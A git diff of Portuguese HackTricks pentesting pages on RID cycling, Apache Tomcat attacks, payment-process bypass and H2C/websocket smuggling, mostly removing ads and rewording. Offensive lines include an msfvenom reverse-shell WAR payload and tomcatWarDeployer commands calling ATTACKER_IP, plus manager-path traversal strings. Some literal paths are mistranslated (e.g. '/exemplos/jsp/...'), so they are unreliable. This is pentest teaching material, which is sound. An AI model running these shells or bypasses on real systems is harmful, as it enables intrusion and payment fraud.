<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
@ -12,14 +12,6 @@
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que importam mais para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
### **O que é um RID**
### Visão geral dos Identificadores Relativos (RID) e Identificadores de Segurança (SID)
@ -94,8 +86,8 @@ done
| enumdomgroups | Enumerar grupos do domínio | |
| createdomuser | Criar um usuário de domínio | |
| deletedomuser | Excluir um usuário de domínio | |
| lookupnames | LSARPC | Procurar nomes de usuário para valores SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) |
| lookupsids | Procurar SIDs para nomes de usuário (ciclagem de RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | |
| lookupnames | LSARPC | Pesquisar nomes de usuário para valores SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) |
| lookupsids | Pesquisar SIDs para nomes de usuário (ciclagem de RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | |
| lsaaddacctrights | Adicionar direitos a uma conta de usuário | |
| lsaremoveacctrights | Remover direitos de uma conta de usuário | |
| dsroledominfo | LSARPC-DS | Obter informações do domínio primário |
@ -103,13 +95,6 @@ done
Para **entender** melhor como as ferramentas _**samrdump**_ **e** _**rpcdump**_ funcionam, você deve ler [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

View file

@ -2,11 +2,11 @@
<details>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@ -33,7 +33,7 @@ Identificar as localizações exatas dos diretórios **`/manager`** e **`/host-m
### **Enumeração de Nomes de Usuário**
Para versões do Tomcat anteriores à 6, é possível enumerar nomes de usuário através:
Para versões do Tomcat anteriores à 6, é possível enumerar nomes de usuários através de:
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
@ -70,42 +70,42 @@ Acesso a `/auth.jsp` pode revelar a senha em um rastreamento sob circunstâncias
A vulnerabilidade CVE-2007-1860 em `mod_jk` permite a travessia de caminho com codificação de URL dupla, possibilitando acesso não autorizado à interface de gerenciamento por meio de uma URL especialmente elaborada.
Para acessar a interface de gerenciamento do Tomcat, vá para: `pathTomcat/%252E%252E/manager/html`
Para acessar a interface de gerenciamento da web do Tomcat, vá para: `caminhoTomcat/%252E%252E/manager/html`
### /examples
### /exemplos
As versões do Apache Tomcat de 4.x a 7.x incluem scripts de exemplo suscetíveis a divulgação de informações e ataques de script entre sites (XSS). Esses scripts, listados de forma abrangente, devem ser verificados quanto a acesso não autorizado e exploração potencial. Encontre [mais informações aqui](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /exemplos/jsp/num/numguess.jsp
* /exemplos/jsp/dates/date.jsp
* /exemplos/jsp/snp/snoop.jsp
* /exemplos/jsp/error/error.html
* /exemplos/jsp/sessions/carts.html
* /exemplos/jsp/checkbox/check.html
* /exemplos/jsp/colors/colors.html
* /exemplos/jsp/cal/login.html
* /exemplos/jsp/include/include.jsp
* /exemplos/jsp/forward/forward.jsp
* /exemplos/jsp/plugin/plugin.jsp
* /exemplos/jsp/jsptoserv/jsptoservlet.jsp
* /exemplos/jsp/simpletag/foo.jsp
* /exemplos/jsp/mail/sendmail.jsp
* /exemplos/servlet/HelloWorldExample
* /exemplos/servlet/RequestInfoExample
* /exemplos/servlet/RequestHeaderExample
* /exemplos/servlet/RequestParamExample
* /exemplos/servlet/CookieExample
* /exemplos/servlet/JndiServlet
* /exemplos/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
### **Exploração de Traversão de Caminho**
Em algumas [**configurações vulneráveis do Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/), você pode obter acesso a diretórios protegidos no Tomcat usando o caminho: `/..;/`
Portanto, por exemplo, você pode ser capaz de **acessar a página do gerenciador do Tomcat** acessando: `www.vulnerable.com/lalala/..;/manager/html`
Portanto, por exemplo, você pode ser capaz de **acessar a página do gerenciador do Tomcat** acessando: `www.vulneravel.com/lalala/..;/manager/html`
**Outra maneira** de contornar caminhos protegidos usando esse truque é acessar `http://www.vulnerable.com/;param=value/manager/html`
**Outra maneira** de contornar caminhos protegidos usando esse truque é acessar `http://www.vulneravel.com/;param=value/manager/html`
## RCE
@ -113,7 +113,7 @@ Por fim, se você tiver acesso ao Gerenciador de Aplicativos da Web do Tomcat, v
### Limitações
Você só poderá implantar um WAR se tiver **privilégios suficientes** (funções: **admin**, **manager** e **manager-script**). Esses detalhes podem ser encontrados em _tomcat-users.xml_, geralmente definidos em `/usr/share/tomcat9/etc/tomcat-users.xml` (varia entre as versões) (consulte a seção [POST](tomcat.md#post)).
Você só poderá implantar um WAR se tiver **privilégios suficientes** (funções: **admin**, **manager** e **manager-script**). Esses detalhes podem ser encontrados em _tomcat-users.xml_ geralmente definido em `/usr/share/tomcat9/etc/tomcat-users.xml` (varia entre as versões) (consulte a seção [POST](tomcat.md#post)).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
@ -140,7 +140,7 @@ msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o r
```
### Carregar o arquivo `revshell.war` e acessá-lo (`/revshell/`):
### Conectar e reverter o shell com [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
### Conexão de shell reverso e de ligação com [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
Em alguns cenários, isso não funciona (por exemplo, em versões antigas da sun)
@ -152,7 +152,7 @@ git clone https://github.com/mgeeky/tomcatWarDeployer.git
```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
#### Shell de ligação
#### Shell de Conexão
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```
@ -226,10 +226,6 @@ msf> use post/windows/gather/enum_tomcat
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<img src="../../.gitbook/assets/image (675).png" alt="" data-size="original">
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)

View file

@ -12,14 +12,6 @@
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
### Evite executar com root
Para não executar o Tomcat com root, uma configuração muito comum é definir um servidor Apache na porta 80/443 e, se o caminho solicitado corresponder a uma expressão regular, a solicitação é enviada para o Tomcat em execução em uma porta diferente.
@ -73,7 +65,7 @@ webapps/customapp
└── classes
└── AdminServlet.class
```
O arquivo mais importante entre esses é `WEB-INF/web.xml`, conhecido como descritor de implantação. Este arquivo armazena **informações sobre as rotas** usadas pela aplicação e as classes que lidam com essas rotas.\
O arquivo mais importante entre eles é `WEB-INF/web.xml`, conhecido como descritor de implantação. Este arquivo armazena **informações sobre as rotas** usadas pela aplicação e as classes que lidam com essas rotas.\
Todas as classes compiladas usadas pela aplicação devem ser armazenadas na pasta `WEB-INF/classes`. Essas classes podem conter lógica de negócios importante, bem como informações sensíveis. Qualquer vulnerabilidade nesses arquivos pode levar à comprometimento total do site. A pasta `lib` armazena as bibliotecas necessárias para aquela aplicação específica. A pasta `jsp` armazena [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), anteriormente conhecido como `JavaServer Pages`, que pode ser comparado aos arquivos PHP em um servidor Apache.
Aqui está um exemplo do arquivo **web.xml**.
@ -94,7 +86,7 @@ Aqui está um exemplo do arquivo **web.xml**.
</servlet-mapping>
</web-app>
```
A configuração `web.xml` acima define um **novo servlet chamado `AdminServlet`** que está mapeado para a **classe `com.inlanefreight.api.AdminServlet`**. Java usa a notação de ponto para criar nomes de pacotes, o que significa que o caminho no disco para a classe definida acima seria:
O arquivo de configuração `web.xml` acima define um **novo servlet chamado `AdminServlet`** que está mapeado para a **classe `com.inlanefreight.api.AdminServlet`**. Java usa a notação de ponto para criar nomes de pacotes, o que significa que o caminho no disco para a classe definida acima seria:
* **`classes/com/inlanefreight/api/AdminServlet.class`**
@ -149,19 +141,13 @@ O arquivo nos mostra a que cada um dos papéis `manager-gui`, `manager-script`,
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que importam mais para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Aprenda hacking na AWS de zero a herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.

View file

@ -1,4 +1,4 @@
# Bypass do Processo de Pagamento
# Bypass Processo de Pagamento
<details>
@ -14,36 +14,29 @@ Outras formas de apoiar o HackTricks:
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Técnicas de Bypass de Pagamento
### Interceptação de Requisições
### Intercepção de Requisições
Durante o processo de transação, é crucial monitorar os dados trocados entre o cliente e o servidor. Isso pode ser feito interceptando todas as requisições. Dentro dessas requisições, fique atento a parâmetros com implicações significativas, como:
- **Sucesso**: Este parâmetro frequentemente indica o status da transação.
- **Referente**: Pode apontar para a origem de onde a requisição se originou.
- **Callback**: Geralmente é usado para redirecionar o usuário após a conclusão de uma transação.
- **Callback**: Geralmente é usado para redirecionar o usuário após uma transação ser concluída.
### Análise de URL
Se você encontrar um parâmetro que contenha uma URL, especialmente uma seguindo o padrão _example.com/payment/MD5HASH_, isso requer uma análise mais detalhada. Aqui está uma abordagem passo a passo:
Se você encontrar um parâmetro que contenha uma URL, especialmente uma seguindo o padrão _exemplo.com/pagamento/MD5HASH_, isso requer uma análise mais detalhada. Aqui está uma abordagem passo a passo:
1. **Copie a URL**: Extraia a URL do valor do parâmetro.
2. **Inspeção em Nova Janela**: Abra a URL copiada em uma nova janela do navegador. Essa ação é crucial para entender o resultado da transação.
### Manipulação de Parâmetros
1. **Alterar Valores de Parâmetros**: Experimente alterar os valores de parâmetros como _Sucesso_, _Referente_ ou _Callback_. Por exemplo, alterar um parâmetro de `false` para `true` às vezes pode revelar como o sistema lida com essas entradas.
1. **Alterar Valores de Parâmetros**: Experimente alterar os valores de parâmetros como _Sucesso_, _Referente_ ou _Callback_. Por exemplo, mudar um parâmetro de `false` para `true` às vezes pode revelar como o sistema lida com essas entradas.
2. **Remover Parâmetros**: Tente remover certos parâmetros completamente para ver como o sistema reage. Alguns sistemas podem ter fallbacks ou comportamentos padrão quando os parâmetros esperados estão ausentes.
### Manipulação de Cookies
1. **Examine os Cookies**: Muitos sites armazenam informações cruciais em cookies. Inspecione esses cookies em busca de dados relacionados ao status do pagamento ou autenticação do usuário.
2. **Modificar Valores dos Cookies**: Altere os valores armazenados nos cookies e observe como a resposta ou comportamento do site muda.
2. **Modificar Valores de Cookies**: Altere os valores armazenados nos cookies e observe como a resposta ou comportamento do site muda.
### Sequestro de Sessão
1. **Tokens de Sessão**: Se tokens de sessão são usados no processo de pagamento, tente capturá-los e manipulá-los. Isso pode fornecer insights sobre vulnerabilidades de gerenciamento de sessão.
@ -52,15 +45,6 @@ Se você encontrar um parâmetro que contenha uma URL, especialmente uma seguind
1. **Interceptar Respostas**: Use ferramentas para interceptar e analisar as respostas do servidor. Procure por quaisquer dados que possam indicar uma transação bem-sucedida ou revelar os próximos passos no processo de pagamento.
2. **Modificar Respostas**: Tente modificar as respostas antes que sejam processadas pelo navegador ou pela aplicação para simular um cenário de transação bem-sucedida.
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

View file

@ -7,26 +7,18 @@
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Obtenha [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente de graça**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Smuggling H2C <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
### HTTP2 Sobre Texto Puro (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
H2C, ou **http2 sobre texto puro**, se desvia da norma de conexões HTTP transitórias, atualizando uma conexão HTTP padrão para uma persistente. Essa conexão atualizada utiliza o protocolo binário http2 para comunicação contínua, em oposição à natureza de única solicitação do HTTP em texto simples.
H2C, ou **http2 sobre texto puro**, se desvia da norma de conexões HTTP transitórias ao atualizar uma conexão HTTP padrão para uma persistente. Essa conexão atualizada utiliza o protocolo binário http2 para comunicação contínua, em oposição à natureza de única solicitação do HTTP em texto simples.
A essência do problema de smuggling surge com o uso de um **proxy reverso**. Normalmente, o proxy reverso processa e encaminha solicitações HTTP para o backend, retornando a resposta do backend depois disso. No entanto, quando o cabeçalho `Connection: Upgrade` está presente em uma solicitação HTTP (comumente visto com conexões websocket), o **proxy reverso mantém uma conexão persistente** entre cliente e servidor, facilitando a troca contínua necessária por certos protocolos. Para conexões H2C, a conformidade com o RFC exige a presença de três cabeçalhos específicos:
```
@ -34,7 +26,7 @@ Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings
```
A vulnerabilidade surge quando, após a atualização de uma conexão, o proxy reverso deixa de gerenciar solicitações individuais, assumindo que seu trabalho de roteamento está completo após o estabelecimento da conexão. A exploração do H2C Smuggling permite contornar as regras do proxy reverso aplicadas durante o processamento da solicitação, como roteamento baseado em caminho, autenticação e processamento de WAF, assumindo que uma conexão H2C seja iniciada com sucesso.
A vulnerabilidade surge quando, após a atualização de uma conexão, o proxy reverso deixa de gerenciar solicitações individuais, assumindo que seu trabalho de roteamento está completo após o estabelecimento da conexão. A exploração do H2C Smuggling permite a circunvenção das regras do proxy reverso aplicadas durante o processamento da solicitação, como roteamento baseado em caminho, autenticação e processamento de WAF, assumindo que uma conexão H2C seja iniciada com sucesso.
### Proxies Vulneráveis <a href="#exploitation" id="exploitation"></a>
@ -57,27 +49,27 @@ Por outro lado, esses serviços não encaminham esses cabeçalhos durante o prox
### Exploração <a href="#exploitation" id="exploitation"></a>
É crucial observar que nem todos os servidores encaminham os cabeçalhos necessários para uma atualização de conexão H2C compatível. Como tal, servidores como AWS ALB/CLB, NGINX e Apache Traffic Server, entre outros, naturalmente bloqueiam conexões H2C. No entanto, vale a pena testar com a variante não compatível `Connection: Upgrade`, que exclui o valor `HTTP2-Settings` do cabeçalho `Connection`, pois alguns backends podem não estar em conformidade com os padrões.
É crucial observar que nem todos os servidores encaminham os cabeçalhos necessários para uma atualização de conexão H2C compatível. Portanto, servidores como AWS ALB/CLB, NGINX e Apache Traffic Server, entre outros, naturalmente bloqueiam conexões H2C. No entanto, vale a pena testar com a variante não compatível `Connection: Upgrade`, que exclui o valor `HTTP2-Settings` do cabeçalho `Connection`, pois alguns backends podem não estar em conformidade com os padrões.
{% hint style="danger" %}
Independentemente do **caminho** específico designado na URL `proxy_pass` (por exemplo, `http://backend:9999/socket.io`), a conexão estabelecida é padrão para `http://backend:9999`. Isso permite interagir com qualquer caminho dentro desse endpoint interno, aproveitando essa técnica. Consequentemente, a especificação de um caminho na URL `proxy_pass` não restringe o acesso.
Independentemente do **caminho** específico designado na URL `proxy_pass` (por exemplo, `http://backend:9999/socket.io`), a conexão estabelecida é padrão para `http://backend:9999`. Isso permite a interação com qualquer caminho dentro desse endpoint interno, aproveitando essa técnica. Portanto, a especificação de um caminho na URL `proxy_pass` não restringe o acesso.
{% endhint %}
As ferramentas [**h2csmuggler by BishopFox**](https://github.com/BishopFox/h2csmuggler) e [**h2csmuggler by assetnote**](https://github.com/assetnote/h2csmuggler) facilitam as tentativas de **contornar as proteções impostas pelo proxy** ao estabelecer uma conexão H2C, permitindo assim o acesso a recursos protegidos pelo proxy.
As ferramentas [**h2csmuggler by BishopFox**](https://github.com/BishopFox/h2csmuggler) e [**h2csmuggler by assetnote**](https://github.com/assetnote/h2csmuggler) facilitam as tentativas de **circunvenção de proteções impostas pelo proxy** ao estabelecer uma conexão H2C, permitindo assim o acesso a recursos protegidos pelo proxy.
Para obter informações adicionais sobre essa vulnerabilidade, especialmente em relação ao NGINX, consulte [**este recurso detalhado**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection).
# Websocket Smuggling
O Websocket smuggling, ao contrário de criar um túnel HTTP2 para um endpoint acessível por meio de um proxy, estabelece um túnel Websocket para contornar possíveis limitações do proxy e facilitar a comunicação direta com o endpoint.
O Websocket smuggling, ao contrário da criação de um túnel HTTP2 para um endpoint acessível por meio de um proxy, estabelece um túnel Websocket para contornar possíveis limitações do proxy e facilitar a comunicação direta com o endpoint.
## Cenário 1
Neste cenário, um backend que oferece uma API Websocket pública ao lado de uma API REST interna inacessível é alvo de um cliente malicioso em busca de acesso à API REST interna. O ataque se desenrola em várias etapas:
1. O cliente inicia enviando uma solicitação de Upgrade para o proxy reverso com uma versão de protocolo `Sec-WebSocket-Version` incorreta no cabeçalho. O proxy, falhando em validar o cabeçalho `Sec-WebSocket-Version`, acredita que a solicitação de Upgrade é válida e a encaminha para o backend.
1. O cliente inicia enviando uma solicitação de Upgrade para o proxy reverso com uma versão de protocolo `Sec-WebSocket-Version` incorreta no cabeçalho. O proxy, falhando em validar o cabeçalho `Sec-WebSocket-Version`, considera a solicitação de Upgrade válida e a encaminha para o backend.
2. O backend responde com um código de status `426`, indicando a versão de protocolo incorreta no cabeçalho `Sec-WebSocket-Version`. O proxy reverso, ignorando o status de resposta do backend, assume prontidão para a comunicação Websocket e repassa a resposta ao cliente.
3. Consequentemente, o proxy reverso é enganado a acreditar que uma conexão Websocket foi estabelecida entre o cliente e o backend, enquanto na realidade, o backend rejeitou a solicitação de Upgrade. Apesar disso, o proxy mantém uma conexão TCP ou TLS aberta entre o cliente e o backend, permitindo ao cliente acesso irrestrito à API REST privada por meio dessa conexão.
3. Consequentemente, o proxy reverso é enganado a acreditar que uma conexão Websocket foi estabelecida entre o cliente e o backend, enquanto, na realidade, o backend rejeitou a solicitação de Upgrade. Apesar disso, o proxy mantém uma conexão TCP ou TLS aberta entre o cliente e o backend, permitindo ao cliente acesso irrestrito à API REST privada por meio dessa conexão.
Os proxies reversos afetados incluem o Varnish, que se recusou a abordar o problema, e o proxy Envoy na versão 1.8.0 ou mais antiga, com versões posteriores tendo alterado o mecanismo de atualização. Outros proxies também podem ser suscetíveis.
@ -110,23 +102,16 @@ Verifique os laboratórios para testar ambos os cenários em [https://github.com
* [https://bishopfox.com/blog/h2c-smuggling-request](https://bishopfox.com/blog/h2c-smuggling-request)
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking na AWS do zero ao hero com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas dicas de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
